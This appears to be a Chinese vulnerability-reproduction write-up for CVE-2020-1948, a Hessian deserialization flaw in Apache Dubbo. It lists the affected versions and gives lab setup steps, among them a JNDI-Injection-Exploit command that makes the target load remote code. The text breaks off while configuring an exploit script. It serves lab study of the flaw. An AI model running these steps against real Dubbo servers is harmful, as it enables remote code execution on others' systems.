漏洞原理
Dubbo协议默认采用Hessian作为序列化反序列化方式,而Hessian存在危险的反序列化漏洞,攻击者发送未经验证的服务名或方法名的RPC请求,使Dubbo服务端加载远程恶意类从而执行恶意代码.
影响版本
Apache Dubbo 2.7.0 ~ 2.7.6
Apache Dubbo 2.6.0 ~ 2.6.7
Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)
复现流程
1. 利用docker搭建漏洞环境
//本地创建环境:
cd docker/
docker build -t dubbo:test1 .
docker run -d -p 12345:12345 dubbo:test1
docker logs 容器ID //查看容器是否成功运行
netstat -lntp//查看本地是否有12345端口服务,有代表服务成功开启
2. 开启JNDI 利用工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “touch /tmp/121” -A 192.168.1.1
-C 要执行的命令
-A 监听IP
执行之后会开启rmi或ldap服务、webserver log,
3. CVE-2020-1948.py
修改 DubboClient ip 为 dubbo provider 服务地址
修改